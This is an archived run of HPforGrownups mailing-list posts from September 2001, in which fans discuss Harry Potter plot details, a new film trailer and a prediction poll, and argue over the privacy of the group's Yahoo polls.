Date: Fri, 21 Sep 2001 15:37:57 -0000
Subject: Potions, Yuck?
In-Reply-To: <20010920.225050.-364279.19.mindyatime@juno.com>
Message-ID: <9ofmsm+m3q7@eGroups.com>

No: HPFGUIDX 26412

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> I am quite repulsed by the list of ingredients that go into the 
various
> potions Snape brews with his students. Are these things actually 
DRUNK by
> the students or are they applied topically to surfaces of whatever 
needs
> to be affected? Can you imagine downing something containing dragon
> liver, bat spleen, rat brain, crocodile heart, leech juice, 
boomslang
> skin, powdered beetles, and mashed caterpillars??? EEEE YEWWWW!!!
> ________________________________________________________________

Hmmm...then I guess you don't eat sausages or hot dogs ;-)

Seriously though, the US FDA (Food and Drug Administration to 
non-USAers) allows certain "safe" percentages of beetles, grubs and 
other insects in foodstuffs like flour, grains and products made from 
those items.

Not to mention, some foods are produced by little critters: cheese 
contains molds, yogurt contains "live bacteria", honey is essentially 
bee vomit. 

Some foods and foodstuffs aren't even "processed" to remove bacterial 
growth, such as some ciders and home-goods from farm stands. The Amish 
community uses "night soil" (human feces and urine) and raw 
(non-sterilized) manure to fertilize their crops...talk about 
"organic"! 

I imagine that while the ingredients in the potions are gross; they've 
also been boiled in some kind of liquid or have been heated to 
temperatures that inactivate the "little buggies".


Milz




From absinthe at mad.scientist.com  Fri Sep 21 15:45:39 2001
From: absinthe at mad.scientist.com (Milz)
Date: Fri, 21 Sep 2001 15:45:39 -0000
Subject: 14.  Who is Mundungus Fletcher
In-Reply-To: <9oebod+5iql@eGroups.com>
Message-ID: <9ofnb3+ut9u@eGroups.com>

No: HPFGUIDX 26413

--- In HPforGrownups at y..., quite_serious at h... wrote:
> > "Why are they all sending Howlers?" asked Ginny.
> > 
> > "Complaining about security at the World Cup," said Percy.
> > "They want compensation for their ruined property. Mundungus 
> > Fletcher's put in a claim for a tweleve-bedroomed tent with 
en-suite 
> > Jacuzzi, but I've got his number. I know for a fact he was 
sleeping 
> > under a cloak propped on sticks."
> > 
> > He seems like a fishy character to me. But he keeps getting
> mentioned.
> > 
> > 
> > Trace
> 
> I think he sounds rather fun! I'm pretty sure that he's one of the
> people setting off illegal fireworks at the start of PS, and that,
> when combined with the ridiculous claim put in above, suggests a
> rather interesting approach to life. (I'm not sure that the above
> paragraph proves that he sent a howler, btw: all it proves is that 
he
> was trying to hoodwink the ministry.) So, I predict that he'll turn
> out to be a very, very entertaining character. And we need those, 
now
> that Sirius has turned into Godfather Snuffles...

Daedalus Diggle was the one setting off fireworks in SS/PS. Mundungus 
Fletcher was the one who almost "got" Arthur Weasley with some kind of 
spell during a Ministry raid for misuse of muggle artifacts in CoS.

I agree with you though, Mundungus Fletcher seems like a fun eccentric 
and I'm interested in reading more about him.

Milz




From kristen at sanderson-web.com  Fri Sep 21 15:54:36 2001
From: kristen at sanderson-web.com (kristen at sanderson-web.com)
Date: Fri, 21 Sep 2001 15:54:36 -0000
Subject: Third Trailer!
In-Reply-To: <9oet4u+llid@eGroups.com>
Message-ID: <9ofnrs+nf3e@eGroups.com>

No: HPFGUIDX 26414

Thanks!  I checked it out.  ACtually the bit on the Taliban was 
rather looooong, but it was definitely some cool stuff in the ad we 
hadn't seen.  A glimpse of Quidditch and Norbert as a baby dragon (I 
think).  Hopefully this is a new ad we'll see on television soon as 
they start advertising for the movie.

Kristen

--- In HPforGrownups at y..., "Lizzie" <nizbet_noni at h...> wrote:
> The third trailer - or *a* third trailer, at any rate, was played 
> today in the US, I think. I saw a posting on a message board about 
> it - I know next to nothing about the US. Does 'Channel One' mean 
> anything to anyone? Because it means zilch to me. What I gathered 
is 
> that its only broadcast to schools, and they watch it during 
> something like homeroom?
> 
> Anyway, that's not important. The important bit is if you go to 
> www.channelone.com, you can see it! Click on 'Watch Todays Show', 
and 
> then 'Watch Entire Show'. First there's a bit about the Taliban, 
then 
> its the first ad in the first commercial break. It's terrible 
> quality, but still! 
> 
> A lot of it is from the second trailer, but theres some new stuff, 
> including a view of Hogwarts, Fluffy, some new shots of Hagrid, a 
new 
> shot of Hermione in the bathroom with the troll, a new shot of 
Harry 
> somewhere with his wand, and QUIDDITCH! Gryffindor and Slytherin 
> teams. Even with the terrible quality, it looks great.
> 
> Thats all I can remember, there could be more. 
> 
> Now if you'll excuse her, this techno-bimbo has to go make nice 
with 
> the computer geek next door so that she can try and get it saved to 
> her computer.
> 
> Cheers!
> 
> Elizabeth C
> 
> Now,




From keegan at mcn.org  Fri Sep 21 16:02:48 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Fri, 21 Sep 2001 09:02:48 -0700
Subject: [HPforGrownups] Work after Hogwarts?
In-Reply-To: <9oe84j+dpok@eGroups.com>
Message-ID: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>

No: HPFGUIDX 26415

At 02:20 AM 9/21/01 +0000, you wrote:
>  I am wondering if all graduates of Hogwarts work in the
>wizarding world and what kind of job oppurtunities there are.

Good question especially since I've wondered that many times myself.  It 
sounds like the MoM employs a bunch of folks and, since Percy managed to 
get a job right out of Hogwarts, that they don't require any other 
education or maybe they have classes there.

There seems to be retail jobs (Flourish and Blotts, Zonkos) and pub 
jobs.  There seems to be a yearly slot open at Hogwarts for a DADA 
teacher.  We've heard about St. Mungos and there is also at least one 
prison.  Madam Pomfrey is what sounds like the equivalent of a school 
nurse.  Filch takes care of the grounds and Hagrid takes care of the 
game.  They have sports figures so the support staff for those folks 
(coaches, announces, sports writers, equipment handlers) would also be 
needed.  They have newspapers and sleazy periodicals so you would need 
reporters and editors and probably lawyers to handle the lawsuits from the 
sleazy periodicals.  Somehow I can't imagine my old turf of programmer 
would be needed since they don't seem to have any kind of computers (except 
Dudley's broken ones and that's not a part of their world).   There must 
also be some kind of manufacturing jobs since Zonkos seems to sell a lot of 
stuff to the kids.  The MoM also takes care of crime enforcement.  The 
Knight Bus is an alternate form of transportation (and, it seems, where the 
students who flunk out of Hogwarts go for jobs...).

Construction?  Dragonkeepers (Charlie).  Bill works as a spell breaker (or 
something very similar) for Gringotts.  The goblins seem to control 
banking.  I wonder if there's a wizard stock market?

>So what do graduates put on their resumes under education when
>applying for jobs in the Muggle world?  It seems that this would be
>particularly difficult for children from Muggle families.

I always wondered what Hermione's family thought about the whole 
thing.  They're dentists and the dental profession pays well.  Wouldn't 
they want her to do something similar?  She's supposed to be the first 
witch in her family.  I know, don't think too hard about it or the story 
line fails, but she's missing the equivalent of high school (ok, the 
American equivalent).  What about College?  It sounds like Hogwarts is a 
combination of the two but I can't help but wonder if there are Wizard 
colleges.  It seems like some of the jobs would require a lot more 
education and training.

Catherine in California




From justanopinion2001 at hotmail.com  Fri Sep 21 16:08:36 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Fri, 21 Sep 2001 16:08:36 -0000
Subject: OoP Derby Update
Message-ID: <9ofom4+26fq@eGroups.com>

No: HPFGUIDX 26416

So far, there are 20 responses, and I have printed them out and 
stored them.  I'll add in stragglers as they come in, but otherwise, 
I'll just sit tight until OoP comes out.  In the meantime, I thought 
it might be fun for you all to know how your list mates answered so 
that you can see if you are mainstream or out on a limb by yourself.  
(Since some listies aren't members of OT Chatter, I thought I'd post 
this here so everyone who answered can read it.)

1. What new magical place will we visit?
Azkaban (9); MoM (5); St. Mungos (4); Durmstrang (1); 
Ravensclaw/Hufflepuff (1); Magic Chamber Pot Room (1); Home of the 
Giants (1).

2. Are any of the Dursleys wizards?  Who?
None (12); Dudley (3); Petunia (2); Ripper (1); Snape, who's an Evans 
(1); Susan Dursley (1).

3.  Identify the new DADA teacher.
Mrs. Figg (9); new character (6); Moody (4); Mundungus Fletcher (1); 
Fleur (1); Rita Skeeter (1).

4.  Which "beloved" charater(s) will die?  Any other deaths, and if 
so, who?
Lupin (6); Hagrid (6); Colin Creevy (4); Dumbledore (4); Dobby (3); 
Moody (1); Karkarov (1); Bagman (1); Sirius (1); Fleur(1); Mrs. 
Wealey (1); Percy (1); Draco(1).

5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
Bagman, Madam Maxime, which characters will have speaking lines in 
OoP?
Lupin (20); Sirius (20); Dobby (14); Madam Maxime (13); Moody (12); 
Fleur (11); Winky (9); Bagman (8); Krum (7); Lockhart (4).

6.  At the end of OoP, will Dumbledore be the headmaster?
Yes (15); No (4).

7.  At the end of OoP, will Fudge be the Minster of Magic?
Yes (16); No (4).

8.  At the end of OoP, will Neville be the same forgetful boy, or 
will he have changed in some way?
Same (3); Changed (16).

9.  At the end of OoP, will Sirius have cleared his name?
Yes (6); No (13).

10.  Will Harry and Voldemort have a confrontation?
Yes (8); No (11).

11.  Of the following magical things, which will a character use or 
confront:  
Marauder's Map (13); portkeys (12); floo powder (11); sneakoscope 
(11); foe glass (11); pensieve (8); veritaserum (8); nifflers (6); 
rememberall (5); secrecy sensor (5); boggart (4); whomping willow 
(4); polyjuice potion (3); knight bus (3); time turner (2); none of 
these devices (1).

12.  Will there be Quiddich at Hogwarts?  Yes (20).  If so, who will 
be the Gryffindor Keeper?  Gryffindor Captain? 
Keeper:  Ron (11); new student (4); Ginny (2); Colin (1); Dean (1); 
Lavender (1).
Captain: Angelina (7); Twins (7); Harry (4); Katie (2); Alicia (1); 
Krum (1).

13.  Will anyone else turn out to be an animagus?  Who?
No one (13); Dumbledore (3); Mrs. Figg (1); Neville (1); Draco (1).

14.  Who is Mundungus Fletcher?
With St. Mungos (3); older than Lupin/James/Sirius (3); a 
contemporary of Lupin/James/Sirius (2); an auror (2); former Minister 
of Magic (1); maker of magical tools (1); snidget breeder (1); Merlin 
(1); a great force for good (1); Arabella Figg's love child (1); 
Peruvian slug farmer (1).

15.  Will Wormtail use his silver hand in an important way?
Yes (4); No or Not Yet (10).

Now, speculate amongst yourselves.  :)

Laura (who is bummed to realize she has time to have a baby before 
OoP comes out)





From cynthiaanncoe at home.com  Fri Sep 21 16:15:22 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 21 Sep 2001 16:15:22 -0000
Subject: Peter Pettigrew's brain as Scabbers
In-Reply-To: <9ofk6c+iaro@eGroups.com>
Message-ID: <9ofp2q+ptl7@eGroups.com>

No: HPFGUIDX 26417

--- In HPforGrownups at y..., "Maribel " <maribelpotter at h...> wrote:
> Hello to everybody,
> 
> 
> According to it, a wizard's brain who become animagi become the 
size 
> of the animal in which he transforms, also says if it is a small 
> animal the brain will be small as well, and soon they're going to 
> forget things.
> 
>

Actually, that explains quite a lot, doesn't it?  Sirius tells us 
that his emotions were less complex as a dog.  Also, Lupin mentions 
that Pettigrew might not have been able to catch the whole shrieking 
shack conversation while he was "squeaking around down there on the 
bed."

But then, how does Rita Skeeter remember the things she witnesses 
while she is in her beetle state and has no quick quotes quill?  And 
if Krum performs a partial animagus transformation in the second 
task, and his head is a shark head, how does he have enough human 
brainpower left in him to know that Hermione is not brunch?

Cindy (who finds Maribel's English to be quite excellent)




From Aberforths_Goat at Yahoo.com  Fri Sep 21 16:20:58 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Fri, 21 Sep 2001 18:20:58 +0200
Subject: [HPforGrownups] New poll for HPforGrownups
References: <E15kRJc-000Bzr-0A@finch-post-10.mail.demon.net>
Message-ID: <024a01c142b9$661f39f0$e500a8c0@shasta>

No: HPFGUIDX 26418

Susan wandered,
>
> See earlier posts.  What are you people on?

For crying out loud!

I'm not a moderator, but I've know all of them for over a year now, and I
follow goings-on in the HP4GU-admin forum. Nobody's out to sell our sinister
secrets; they're just trying to give all of us a feeling for the size and
diversity of this group.

Yes, the geography poll is email specific. It had to be, since it was set up
(months ago, may I add) to help people hook up with other listies in their
own areas. It lead to the founding of several regional HP4GU lists - and
thanks to one of those, I plan to catch the film's opening night in London
with a bunch of people I have, as yet, only met in print.

All the *new* polls are anonymous, at least as far as the mods are
concerned. (Whether Yahoo could potentially betray our secrets to the CIA,
is beyond my knowledge. Personally, I don't care, unless they want to do
experiments are the world's first typing goat.)

Nobody has to participate. Polls are a regular thing on lists; they often
help people realize what a broad spectrum of friends they have made. If the
topics don't interest you or if you're uncomfortable about them, there's
absolutely no pressure to do so.

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From mindyatime at juno.com  Fri Sep 21 17:11:06 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Fri, 21 Sep 2001 13:11:06 -0400
Subject: That's not what i meant! (was Hagrid's Past)
Message-ID: <20010921.133243.-364279.44.mindyatime@juno.com>

No: HPFGUIDX 26419

On: Mon, 17 Sep 2001 18:12:51 -0700 (PDT)
 Kelly Hurt <klhurt at yahoo.com> wrote:

>Ah.  Sounds like someone else noticed that Hagrid and Snape have
>identical eyes, except, of course, for the emotions in them.  (SS Chap
8)

I did not have this in mind at all... I don't have a specific idea in
mind at the moment, simply that there might be something shocking
awaiting us, I don't know what.
________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
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From rowena_grunnion_ffitch at yahoo.com  Fri Sep 21 17:47:32 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Fri, 21 Sep 2001 10:47:32 -0700 (PDT)
Subject: [HPforGrownups] Work after Hogwarts?
In-Reply-To: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>
Message-ID: <20010921174732.19814.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26420



--- Catherine Keegan <keegan at mcn.org> wrote:

>  but I can't help but wonder
> if there are Wizard 
> colleges.  It seems like some of the jobs would
> require a lot more 
> education and training.

    According to the Lexicon page JKR has said there
are no Wizard Colleges yet there are obviously levels
of Wizardry beyond what is taught at Hogwarts so how
does one get advanced training in Alchemy, Defense
Against The Dark Arts, or whatever? 
    My guess is by becoming the student/assistant to a
Master Wizard in the desired field, (up to the 19th
century it was possible to study law and medicine with
practicioner rather than at a college). 
   Which in turns leads to the interesting question of
how Lupin can be a 'Professor' before coming to work
at Hogwarts, (the letters spelling out title as well
as name are 'peeling' and thus presumably old).
Perhaps he is such an advanced Wizardry instructor but
has difficulty getting pupils because of the prejudice
against werewolves.

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From mindyatime at juno.com  Fri Sep 21 17:55:30 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Fri, 21 Sep 2001 13:55:30 -0400
Subject: Opinion on 10 big mysteries
Message-ID: <20010921.135911.-364279.48.mindyatime@juno.com>

No: HPFGUIDX 26421

y no m wrote on Wednesday in regards to Lupin sleeping on the train:

"Also, curious fact, on September 1, 1993 (real date), there was a 
full moon. ^^ Maybe moons move differently in the Wizarding world."

That's probably why he was sleeping... Doesn't the Wolfsbane potion make
him harmless and asleep? Aw, but then he looks like a wolf? I dunno. I'm
confused too.



________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.



From rowena_grunnion_ffitch at yahoo.com  Fri Sep 21 18:05:09 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Fri, 21 Sep 2001 11:05:09 -0700 (PDT)
Subject: [HPforGrownups] Re: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
In-Reply-To: <20010919231704.82538.qmail@web14604.mail.yahoo.com>
Message-ID: <20010921180509.47397.qmail@web20803.mail.yahoo.com>

No: HPFGUIDX 26422

--- Nethilia De Lobo <nethilia at yahoo.com> wrote:
> 1)    The classic question: (Did you really think we
> could have an
> essay on Houses and not bring this up?) Slytherin
> House: evil or just
> bad press? 

     Bad press. I don't think Malfoy is any more
representative of the Slytherins than the Weasley
twins are of Gryffindors. What I would really like to
see in OoP is Slytherins aligning themselves alongside
Gryffindors, Ravenclaws and Hufflepuffs in the battle
against Voldemort.

> 3)    How does the Sorting Hat sort? For example,
what
> sort of process
> does it use that ends up with Hermione in
> Gryffindor?
> (Disclaimer: I'm
> not saying she should be elsewhere, but considering
> how she was in the
> beginning of PS, I think she would have been happier
> at first in
> Ravenclaw where being smart is cool and not in
> Gryffindor where she was
> teased for being a know-it-all.)

   It would certainly help if she occasionally let
somebody else answer a question! I suspect even in
Ravenclaw her know-it-all ways would have caused
friction. But doesn't Hermione herself say in SS that
friendship and courage are more important that book
learning? 
   Apparently the Hat looks inside the wearer's head
and judges which of the four personality types he/she
is closest too. Judging from Harry's experience it can
also be influenced by a strong preference on the part
of the wearer. Maybe Hermione really wanted to be a
Gryffindor because some hero of hers, (Dumbledore?)
belonged to that House. If her wish included a genuine
desire to cultivate the virtues peculiar to
Gryffindor, (courage and chivalry) the Hat might have
humored her as it did Harry.

> 4)    JKR has said there is more to the Sorting Hat
> than is apparent.
> What sort of things do you think we'll see the Hat
> involved with?

    It may have information about the Founders and
their intentions that proves important to the story.

> 5)    How important do you think is the fact that
the
> Sorting Hat used
> to be Godric Gryffindor's?

   Not very. I don't detect a bias in the Hat's
attitude towards the various Houses. I think a little
bit of all Four founders is in the Hat not just
Godric.

> 6)    Do you think we'll find out more about the
> Founders as the
> series continues and what do you think we'll learn?

   I certainly hope so. I don't believe Salazar
Slytherin was a Dark Wizard. If he had been surely the
other three would have eliminated his House and all
other traces of his influence from the School. He was
certainly a man of strong character and opinions, as
was Gryffindor, and there was probably a certain
amount of tension from the very begining. I see 'Sweet
Hufflepuff' trying to keep the peace between these two
difficult men while the 'Fair Ravenclaw' wraps herself
in her studies and ignores the conflict as long as she
can.

> 7)    What did Salazar Slytherin hope to accomplish
> with
> his building
> of the Chamber of Secrets? Do you think the chamber
> had some other
> purpose beyond having a giant creature available to
> kill Muggle born
> wizards, perhaps to be used in defense of the
> school? 

   According to Binns Slytherin opposed accepting
Muggle born not because they were inferior but because
he feared they would prove untrustworthy. Remember it
was a time of persecution, Salazar may well have had
personal experience of Muggle born wizards betraying
their fellows either out of fear or loyalty to their
Muggle kin. 
   IMO He intended the baskilisk as a last ditch
defense should the worst happen and the school be
betrayed. He confided the secret of the chamber to his
offspring, who'd inherited his talent of Parselmouth,
and so would be able to direct the serpent if
necessary. Over the generations the story became
distorted by notions about perserving the 'purity' of
the blood.

> 8)    We haven't seen much of either Ravenclaw or
> Hufflepuff in the
> first four books. Do you think they will end up
> playing a more 
> important
> role later?

    One can but hope.

> 9)    What do you think the reasons are for the
colors
> and animals of
> the different houses? You can choose to answer this
> either from JKR's
> perspective (i.e. the mythological reasons) or from
> the Founders (like
> Slytherin being a Parselmouth.)

   The serpent is a traditional symbol of cunning and
wisdom. Green and silver are colors often associated
with elves and magic.
   Red and gold are the colors of royalty, of honor
and chivalry and the lion is the animal traditionally
embodying these traits.
   The eagle is also a royal animal, much favored by
emperors, but is associated with the intellect and
prevision as well, (was Rowena a True Seer?). Blue and
bronze are the colors of sky, wind, sun and light. And
sky gods and sun gods are usually associated with
wisdom and truth.
   Yellow and black suggest sunlight and earth both
necessary for growing things, Hufflepuffs seem to have
an affinity for Herbrology. As for Helga's symbolic
animal, the badger, I find myself remembering the
Badger in C.S. Lewis' 'Prince Caspian' a preserver and
defender of the old traditions who says of himself
'I'm a Badger, we hold on."   






__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From michelleapostolides at lineone.net  Fri Sep 21 18:20:32 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Fri, 21 Sep 2001 19:20:32 +0100
Subject: Chat going on
Message-ID: <00f401c142ca$1a169880$7c317bd5@tmeltcds>

No: HPFGUIDX 26423

In the usual HP 1 group if anyone wants to join in .

Michelle




From mindyatime at juno.com  Fri Sep 21 18:31:49 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Fri, 21 Sep 2001 14:31:49 -0400
Subject: Potions, Yuck
Message-ID: <20010921.143154.-364279.54.mindyatime@juno.com>

No: HPFGUIDX 26424

Milz:

Actually it's against jewish law to ingest any bugs, dead or alive. So
every time I eat lettuce, cabbage, and other veggies that come from
underground I have to painstakingly check it for bugs.

Additionally, aside from the critters factor, those potions must taste
horrible, for no flavors are added.

Are potions mostly medicinal?
________________________________________________________________
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Join Juno today!  For your FREE software, visit:
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From ezragreene at yahoo.com  Fri Sep 21 18:47:47 2001
From: ezragreene at yahoo.com (ezragreene at yahoo.com)
Date: Fri, 21 Sep 2001 18:47:47 -0000
Subject: Magical Creatures?
Message-ID: <9og20j+omb6@eGroups.com>

No: HPFGUIDX 26425

The Harry Potter website has a new feature that allows you to create
your own Owl or Cat! I created this guy, oh I hope it posts. It's
pretty cool.

Hmmm, I may have to mail the creature in to the list.


ezra




From maidne at yahoo.com  Fri Sep 21 18:56:45 2001
From: maidne at yahoo.com (maidne at yahoo.com)
Date: Fri, 21 Sep 2001 18:56:45 -0000
Subject: Dementors -- talking?
In-Reply-To: <9ocup7+q2bm@eGroups.com>
Message-ID: <9og2hd+fdf5@eGroups.com>

No: HPFGUIDX 26426

--- In HPforGrownups at y..., blpurdom at y... wrote:
> --- In HPforGrownups at y..., caliburncy at y... wrote:
> > --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > > I am just reading my brand spankin' new copy of the POA in 
> > > paperback and I was struck by something in one of the earlier 
> > > chapters -- it was something to the effect that the Azkaban 
> > > guards told the MOM officials that Sirius Black was muttering 
in 
> > > his sleep, "He's at Hogwarts, He's at Hogwarts." I thought that 
> > > the dementors can't talk!!! Can they? Or perhaps only to the 
MOM?
> > 
> > Yep, noticed that too when I first read the book and thought it 
was 
> > too bad: there's something so much more chilling about silent 
> > villains.  But I suppose it's almost as chilling that they can 
> > talk, but simply choose not to.  Anyway, I think we have to 
assume 
> > from this that they can, unless there are other Azkaban guards 
that 
> > are not Dementors--for which there is basically no evidence that 
> > I'm aware of.
> 
> It doesn't have to be verbal communication.  Someone at the 
Ministry 
> may be able to communicate telepathically with the dementors, or 
the 
> dementors may have sent a written communication via owl to the 
MoM.  
> I'm not ruling out talking, but there's more ways to communicate 
than 
> verbally.  If there were non-dementors for guards they would also 
> have to be non-human (perhaps some breed of troll) in order to be 
> immune from the dementors.
> 
> --Barb

This discussion raises a few questions in my mind.  1)  Why would the 
dementors pay any attention to what the prisoners mutter in their 
sleep?  2)  Are (were) the dementors aware of Harry at that point, 
and again, why would they care what a prisoner was thinking about 
him?  3)  If they were not specifically aware of Harry, why would 
they take notice of the "He's at Hogwarts" line?  4)  Who would want 
to communicate telepathically with a dementor?

Susan




From cynthiaanncoe at home.com  Fri Sep 21 19:34:20 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 21 Sep 2001 19:34:20 -0000
Subject: Dementors -- "He's at Hogwarts"
In-Reply-To: <9og2hd+fdf5@eGroups.com>
Message-ID: <9og4ns+v1rm@eGroups.com>

No: HPFGUIDX 26427

> > > --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > > > I am just reading my brand spankin' new copy of the POA in 
> > > > paperback and I was struck by something in one of the earlier 
> > > > chapters -- it was something to the effect that the Azkaban 
> > > > guards told the MOM officials that Sirius Black was muttering 
> in 
> > > > his sleep, "He's at Hogwarts, He's at Hogwarts." 
Susan wrote:  
1)  Why would the 
> dementors pay any attention to what the prisoners mutter in their 
> sleep?  2)  Are (were) the dementors aware of Harry at that point, 
> and again, why would they care what a prisoner was thinking about 
> him?  3)  If they were not specifically aware of Harry, why would 
> they take notice of the "He's at Hogwarts" line?  

All good questions, and I never noticed that it was the dementors who 
mentioned this to Fudge.  Now I'm starting to wonder if the dementors 
have it in for Harry.  That would explain why they tried to give him 
the kiss.  Also, we know Dumbledore doesn't trust the dementors, and 
they did come during the Quiddich match, almost getting Harry killed.

Of course, they're not much of a threat now that Harry can ward them 
off, as he did in the third task.  So maybe the dementors are going 
to attack other "good guys" who don't know how to generate a patronus 
when Harry isn't around to protect them, like Hermione, Sirius or Ron.

Cindy




From borg3892000 at yahoo.com  Fri Sep 21 19:36:18 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Fri, 21 Sep 2001 19:36:18 -0000
Subject: Third Trailer!
In-Reply-To: <9ofnrs+nf3e@eGroups.com>
Message-ID: <9og4ri+10flh@eGroups.com>

No: HPFGUIDX 26428

You can skip most of the stuff on the media file and jump right to 
the hp commercial.  Move the scrollbar to the 7th tickmark.

http://www.channelone.com/video/play.html?
clip=09/20010920_daily.ram&width=240&height=180

--- In HPforGrownups at y..., kristen at s... wrote:
> Thanks!  I checked it out.  ACtually the bit on the Taliban was 
> rather looooong, but it was definitely some cool stuff in the ad we 
> hadn't seen.  A glimpse of Quidditch and Norbert as a baby dragon 
(I 
> think).  Hopefully this is a new ad we'll see on television soon as 
> they start advertising for the movie.
> 
> Kristen
> 
> --- In HPforGrownups at y..., "Lizzie" <nizbet_noni at h...> wrote:
> > The third trailer - or *a* third trailer, at any rate, was played 
> > today in the US, I think. I saw a posting on a message board 
about 
> > it - I know next to nothing about the US. Does 'Channel One' mean 
> > anything to anyone? Because it means zilch to me. What I gathered 
> is 
> > that its only broadcast to schools, and they watch it during 
> > something like homeroom?
> > 
> > Anyway, that's not important. The important bit is if you go to 
> > www.channelone.com, you can see it! Click on 'Watch Todays Show', 
> and 
> > then 'Watch Entire Show'. First there's a bit about the Taliban, 
> then 
> > its the first ad in the first commercial break. It's terrible 
> > quality, but still! 
> > 
> > A lot of it is from the second trailer, but theres some new 
stuff, 
> > including a view of Hogwarts, Fluffy, some new shots of Hagrid, a 
> new 
> > shot of Hermione in the bathroom with the troll, a new shot of 
> Harry 
> > somewhere with his wand, and QUIDDITCH! Gryffindor and Slytherin 
> > teams. Even with the terrible quality, it looks great.
> > 
> > Thats all I can remember, there could be more. 
> > 
> > Now if you'll excuse her, this techno-bimbo has to go make nice 
> with 
> > the computer geek next door so that she can try and get it saved 
to 
> > her computer.
> > 
> > Cheers!
> > 
> > Elizabeth C
> > 
> > Now,




From borg3892000 at yahoo.com  Fri Sep 21 19:40:55 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Fri, 21 Sep 2001 19:40:55 -0000
Subject: ADMIN: The Polls Do NOT show email addresses (except Location Poll)
In-Reply-To: <3BAB3FEA.7090206@swbell.net>
Message-ID: <9og547+r39@eGroups.com>

No: HPFGUIDX 26429

The "Do you read any Harry Potter-inspired fanfiction?" poll also 
shows the individual votes.  But examining it shows that it was from 
January.

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> Hi all --
> 
> I nearly had a heart attack when Heidi called me to say people were 
> complaining that the polls showed individual votes, because of 
course, 
> they were not doing so yesterday when I last checked them last 
night & I 
> had definitely not set them up in that manner.  I wondered if Yahoo 
had 
> suddenly flipped out.
> 
> I am relieved to report that only the Location Poll is showing 
> individual votes.  The Location poll, as I said yesterday, is an 
*OLDER* 
> poll set up by Ebony back in January.  She did set it up to show 
emails 
> because at that time we were encouraging the formation of regional 
HP4GU 
> groups, so it clearly made sense for people to know who else from 
HP4GU 
> was in their individual region of the world.
> 
> So, just to recap, none of the other polls that I set up yesterday 
are 
> showing emails or identities in any way.
> 
> Thanks to Neil and Cassie for clarifying what I thought was obvious 
> yesterday: if you don't like the idea of revealing this information 
> about yourself, even in a blind poll, and/or don't care about our 
> group's diversity, then just don't participate.
> 
> Penny




From borg3892000 at yahoo.com  Fri Sep 21 19:45:32 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Fri, 21 Sep 2001 19:45:32 -0000
Subject: ADMIN: Privacy issues
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2D17@MIAEXCH1>
Message-ID: <9og5cs+dgio@eGroups.com>

No: HPFGUIDX 26430

This is just ducky.

So any response we have made to these polls is now freely available 
to Yahoo for any purpose they want.

I can't find anything in the polls help that describes how to unvote. 
Deleting my user account might do it though.

--- In HPforGrownups at y..., "Tandy, Heidi" <heidi.h.tandy.c92 at a...> 
wrote:
> All of you who use this group are doing so pursuant to the Yahoo 
Terms of
> Use policy, located at http://docs.yahoo.com/info/terms, which 
incorporates
> by reference the Yahoo Privacy Policy, located at
> http://privacy.yahoo.com/privacy/us/. When you signed up for the 
group, you
> AGREED to this. The HP4GU Mods do not have control of or access to 
the Yahoo
> servers, where the answers to the polls are logged. The HP4GU mods 
do not
> know the information being collected by the Yahooo servers, OR the
> information YOU provided to Yahoo when you joined this group. 
> 
> If you're concerned about the recordation to their servers of your 
answers
> to the polls, then you should remember that Yahoo ALREADY knows 
where you
> live. You gave them this information when you signed up, and their 
servers
> record the IP number that you use to access their site, and how 
long you
> spend on any page, and where you were before you came to a Yahoo 
page, and
> where you go next.
> 
> As Yahoo has sole server control, HP4GU does not act as an ISP, or 
in fact
> as the actual collector of any information sent to or collected on 
the
> Yahoogroup. Thus, HP4GU has no obligation to be in compliance with 
the
> European Community's privacy regulations, or, in fact, the United 
States'
> Safe Harbour provisions. We presume, but do not know, that Yahoo 
has taken
> these issues into consideration, although they do not state on 
their Privacy
> or TOS policies that they are in compliance with the Safe Harbour 
provisions
> promulgated by the U.S. Department of Commerce. 
> 
> If you have any concerns on this issue, we recommend that you get 
in touch
> with Yahoo, as there is nothing that the HP4GU Mods can do. We also
> recommend reviewing the YahooGroups HELP feature, which can provide 
answers
> to some of the questions users might have.




From borg3892000 at yahoo.com  Fri Sep 21 19:57:11 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Fri, 21 Sep 2001 19:57:11 -0000
